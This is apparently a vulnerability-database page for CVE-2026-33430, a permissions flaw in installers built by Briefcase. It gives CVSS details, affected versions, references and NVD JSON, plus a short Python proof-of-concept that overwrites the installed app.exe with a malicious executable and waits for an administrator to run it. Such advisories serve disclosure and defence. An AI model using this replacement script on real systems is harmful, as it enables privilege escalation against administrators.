Security Vulnerability Report
中文
CVE-2026-33430 CVSS 7.3 HIGH

CVE-2026-33430

Published: 2026-03-26 17:16:39
Last Modified: 2026-04-20 14:06:47

Description

Briefcase is a tool for converting a Python project into a standalone native application. Starting in version 0.3.0 and prior to version 0.3.26, if a developer uses Briefcase to produce an Windows MSI installer for a project, and that project is installed for All Users (i.e., per-machine scope), the installation process creates an directory that inherits all the permissions of the parent directory. Depending on the location chosen by the installing user, this may allow a low privilege but authenticated user to replace or modify the binaries installed by the application. If an administrator then runs the altered binary, the binary will run with elevated privileges. The problem is caused by the template used to generate the WXS file for Windows projects. It was fixed in the templates used in Briefcase 0.3.26, 0.4.0, and 0.4.1. Re-running `briefcase create` on your Briefcase project will result in the updated templates being used. As a workaround, the patch can be added to any existing Briefcase .wxs file generated by Briefcase 0.3.24 or later.

CVSS Details

CVSS Score
7.3
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:beeware:briefcase:*:*:*:*:*:python:*:* - VULNERABLE
Briefcase >= 0.3.0, < 0.3.26

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC Concept: Replacing a vulnerable binary # This script demonstrates how a low-privilege user could replace a binary # in a directory that has inherited insecure permissions. import os import shutil def exploit_poc(vulnerable_dir, malicious_exe_path): # Check if the vulnerable directory exists and is writable if os.path.exists(vulnerable_dir): # Identify the target binary to replace (e.g., app.exe) target_binary = os.path.join(vulnerable_dir, "app.exe") if os.path.exists(target_binary): # Check write permissions if os.access(vulnerable_dir, os.W_OK): print(f"[+] Directory {vulnerable_dir} is writable. Proceeding with replacement.") try: # Backup original (optional) shutil.copy(target_binary, target_binary + ".bak") # Replace with malicious binary shutil.copy(malicious_exe_path, target_binary) print(f"[+] Successfully replaced {target_binary} with {malicious_exe_path}.") print("[*] Wait for an Administrator to run the application.") except Exception as e: print(f"[-] Error during replacement: {e}") else: print("[-] No write permission for the current user.") else: print(f"[-] Target binary {target_binary} not found.") else: print(f"[-] Vulnerable directory {vulnerable_dir} not found.") # Example usage paths # target_dir = "C:\Program Files\MyBriefcaseApp" # evil_file = "C:\Users\Attacker\evil.exe" # exploit_poc(target_dir, evil_file)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33430", "sourceIdentifier": "[email protected]", "published": "2026-03-26T17:16:38.713", "lastModified": "2026-04-20T14:06:46.880", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Briefcase is a tool for converting a Python project into a standalone native application. Starting in version 0.3.0 and prior to version 0.3.26, if a developer uses Briefcase to produce an Windows MSI installer for a project, and that project is installed for All Users (i.e., per-machine scope), the installation process creates an directory that inherits all the permissions of the parent directory. Depending on the location chosen by the installing user, this may allow a low privilege but authenticated user to replace or modify the binaries installed by the application. If an administrator then runs the altered binary, the binary will run with elevated privileges. The problem is caused by the template used to generate the WXS file for Windows projects. It was fixed in the templates used in Briefcase 0.3.26, 0.4.0, and 0.4.1. Re-running `briefcase create` on your Briefcase project will result in the updated templates being used. As a workaround, the patch can be added to any existing Briefcase .wxs file generated by Briefcase 0.3.24 or later."}, {"lang": "es", "value": "Briefcase es una herramienta para convertir un proyecto Python en una aplicación nativa independiente. A partir de la versión 0.3.0 y antes de la versión 0.3.26, si un desarrollador utiliza Briefcase para producir un instalador MSI de Windows para un proyecto, y ese proyecto se instala para Todos los Usuarios (es decir, con alcance por máquina), el proceso de instalación crea un directorio que hereda todos los permisos del directorio padre. Dependiendo de la ubicación elegida por el usuario que realiza la instalación, esto puede permitir que un usuario con pocos privilegios pero autenticado reemplace o modifique los binarios instalados por la aplicación. Si un administrador ejecuta entonces el binario alterado, el binario se ejecutará con privilegios elevados. El problema es causado por la plantilla utilizada para generar el archivo WXS para proyectos de Windows. Fue solucionado en las plantillas utilizadas en Briefcase 0.3.26, 0.4.0 y 0.4.1. Volver a ejecutar 'briefcase create' en su proyecto Briefcase resultará en el uso de las plantillas actualizadas. Como solución alternativa, el parche puede añadirse a cualquier archivo .wxs de Briefcase existente generado por Briefcase 0.3.24 o posterior."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.3, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-732"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:beeware:briefcase:*:*:*:*:*:python:*:*", "versionStartIncluding": "0.3.0", "versionEndExcluding": "0.3.26", "matchCriteriaId": "3D61980B-527F-4394-A07A-CA15AE1D928A"}]}]}], "references": [{"url": "https://github.com/beeware/briefcase-windows-VisualStudio-template/pull/85", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/beeware/briefcase-windows-app-template/pull/86", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/beeware/briefcase/issues/2759", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://github.com/beeware/briefcase/security/advisories/GHSA-r3r2-35v9-v238", "source": "[email protected]", "tags": ["Mitigation", "Patch", "Vendor Advisory"]}]}}